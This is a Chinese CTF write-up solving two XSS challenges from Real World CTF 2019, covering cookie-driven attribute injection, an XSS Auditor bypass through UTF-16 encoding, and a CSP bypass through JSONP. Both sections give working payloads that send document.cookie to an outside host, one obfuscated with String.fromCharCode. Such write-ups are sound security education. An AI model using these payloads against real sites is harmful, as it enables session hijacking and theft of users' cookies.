Real World CTF 2019 两道XSS-Web题解

释放双眼,带上耳机,听听看~!


点击上方“凌天实验室”,“星标或置顶公众号”

漏洞、技术还是其他,我都想第一时间和你分享




赛题好难我好菜,其中还有一个是比赛结束复现出来的。这里写一下两道XSS的解题思路,还有一道是P神出的关于Scrapy爬虫框架的RCE,但是赛后听说是最新版本的Scrapy,等着看官方Wp的解法。


No.1

Mission Invisible

题目上来把代码全部给出来了,一段js并且告诉我们有两个隐藏的点

<script>    var getUrlParam = function (name) {        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");        var r = unescape(window.location.search.substr(1)).match(reg);        if (r != null) return r[2];        return null;    }
function setCookie(name, value) { var Days = 30; var exp = new Date(); exp.setTime(exp.getTime() + Days * 24 * 60 * 60 * 30); document.cookie = name + "=" + value + ";expires=" + exp.toGMTString(); }
function getCookie(name) { var search = name + "=" var offset = document.cookie.indexOf(search) if (offset != -1) { offset += search.length; var end = document.cookie.indexOf(";", offset); if (end == -1) { end = document.cookie.length; } return unescape(document.cookie.substring(offset, end)); } else return ""; }

function setElement(tag) { tag = tag.substring(0, 1); var ele = document.createElement(tag) var attrs = getCookie("attrs").split("&"); for (var i = 0; i < attrs.length; i++) { var key = attrs[i].split("=")[0]; var value = attrs[i].split("=")[1]; ele.setAttribute(key, value); } document.body.appendChild(ele); }
var tag = getUrlParam("tag"); setCookie("tag", tag); setElement(tag);</script>


重点在这个setElement函数,通过tag.substring(0, 1)创建一个dom事件,然后从cookie中取出attrs属性进行标签属性的赋值。接下来追一下cookie是怎么入库的

var tag = getUrlParam("tag");setCookie("tag", tag);


追到函数不难发现是tag传参进去的,并且在getcookie函数中只截取了”attrs=”的后面的值,那么我们就可以在value里插入attrs的值。



所以现在的难点就在于怎么构造一个标签,在浏览器解析的时候自动触发XSS。由于tag = tag.substring(0, 1);这段代码,使得我们现在能用的标签只有a、p。


最初我的想法是污染原型链,在循环遍历attrs的时候:

第一次key = __proto__.ele  & value = document.createElement(“script”)第二次 key = src  & value = evil.com


但是尝试了一下发现这样并不能够成功污染,因为我们已经定义了ele这个变量。那只能从a、p标签下手,这里@LFY师傅想到一个很好的方法



<p onfocus="alert(document.cookie)" id="1" tabindex="0"></p>


我们可以通过tableindex使标签可聚焦,只需要在url后面跟一个锚点指向标签id,类似于#1,这样聚焦时触发onfocus,效果就等效于自动触发xss。

http://52.52.236.217:16401/?tag=a%3d1attrs%3donmouserover%3d1%2526onfocus%3dalert(1)%2526id%3d1%2526tabindex%3d0#1



接着就是常规打cookie到本地

http://52.52.236.217:16401/?tag=a=attrs=onmouseover=1%2526onfocus=eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,61,39,104,116,116,112,58,47,47,49,51,57,46,49,57,57,46,50,48,51,46,50,53,51,58,49,50,51,52,47,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))%2526id=1%2526tabindex=0#1


No.2

Hcorme

>>>>

题目说明


首先题目有一个callback的接口,能够把请求参数输出,并且是text/html形式。这点其实在日常的web应用中并不多见,大多数callback的mime都是javascript



于此同时题目有两个难点需要bypass:


  • XSS Auditor的限制



  • CSP的限制

Content-Security-Policy: default-src 'self'; object-src 'none'; base-uri 'none';


>>>>

解题思路


先着眼xss auditor这个点,在Chrome78以后XSS-Auditor被Chrome自家砍掉了,虽然auditor曾是不少xsser在面对反射性XSS时候的难题,但随着bypass的方法也日益增多,auditor的弊远远大于利:因为auditor在触发的时候会删除恶意输入,之前我博客中有一篇文章前端全局变量劫持,就能够利用Auditor达到变量劫持的目的。


于此同时Bypass auditor也算是出题人给我们的Hint。


当时我的思路是用字符集去bypass,也就是下面这种思路



因为auditor的核心思路就是拿浏览器的渲染和我们的输入做比较,不相符则不会被Check。不过chrome77已经不存在iso-2022-jp这种绕过的方法。接下来我们看一下Hardold师傅的思路—>utf-16编码绕过


这里串一个编码的知识点,通常我们看到%xx%xx这类的url编码,其实是用16进制表示的,比如utf-8编码形式如下

>>> from urllib.parse import quote,unquote>>> print(quote(('猪').encode('utf-8')))>>> %E7%8C%AA


那么”猪”这个字在utf-8编码下就是0xe7 0x8c 0xaa,下面我们来看一下utf-16编码下的”猪”怎么表示

>>> from urllib.parse import quote,unquote>>> print(quote(('猪').encode('utf-16')))>>> %FF%FE%2As


这时会发现,用utf-16无论编码什么字符,前两个字节都是`0xff0xfe



因为在UTF-16文件的开首,都会放置一个U+FEFF字符作为Byte Order Mark(UTF-16LE以FF FE代表,UTF-16BE以FE FF代表),以显示这个文本文件是以UTF-16编码,它是个没有宽度也没有断字的空白。


此时我们来尝试一下能否Bypass XSS Auditor

>>> print(quote(('<script>alert(1)</script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00%3E%00a%00l%00e%00r%00t%00%28%001%00%29%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00



成功插入标签,接下来到了第二步,Bypass CSP。因为锁了default-src又没有给unsafe-inline,但是题目有一个jsonp的点,不难想到今年的那道ins’hack 2019/的bypasses-everywhere


这篇文章的大意相当于利用jsonp直接把js代码”挂载”到本地的script标签里面,从而导致的bypass。那么我们编写一个demo看看

>>> print(quote(('<script/src=?callback=alert(1)></script>').encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00a%00l%00e%00r%00t%00%28%001%00%29%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00


可以看到进行了两次资源请求,第二次的资源的执行类型是script



接着就是把flag打到自己的本地就行了

>>> print(quote(("<script/src=?callback=window.location='http://xxx/?'%2bdocument.cookie%0a//></script>").encode('utf-16')))
%FF%FE%3C%00s%00c%00r%00i%00p%00t%00/%00s%00r%00c%00%3D%00%3F%00c%00a%00l%00l%00b%00a%00c%00k%00%3D%00w%00i%00n%00d%00o%00w%00.%00l%00o%00c%00a%00t%00i%00o%00n%00%3D%00%27%00h%00t%00t%00p%00%3A%00/%00/%00x%00x%00x%00/%00%3F%00%27%00%25%002%00b%00d%00o%00c%00u%00m%00e%00n%00t%00.%00c%00o%00o%00k%00i%00e%00%25%000%00a%00/%00/%00%3E%00%3C%00/%00s%00c%00r%00i%00p%00t%00%3E%00


No.3

比赛总结

赛题质量真心高,膜Harlold师傅,日常拿0day打比赛..orz



凌天
实验室

凌天实验室,是安百科技旗下针对应用安全领域进行攻防研究的专业技术团队,其核心成员来自原乌云创始团队及社区知名白帽子,团队专业性强、技术层次高且富有实战经验。实验室成立于2016年,发展至今团队成员已达35人,在应用安全领域深耕不辍,向网络安全行业顶尖水平攻防技术团队的方向夯实迈进。


“阅读原文”我们一起穿越安百信息安全资讯平台~

本篇文章来源于微信公众号凌天实验室: 凌天实验室

人已赞赏
安全教程

Vue 3源码公布

2019-10-13 9:00:57

安全教程

国庆福利||CVE-2019-0708-EXP-Windows-Version

2019-10-13 9:02:10

0 条回复 A文章作者 M管理员
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
有新私信 私信列表
搜索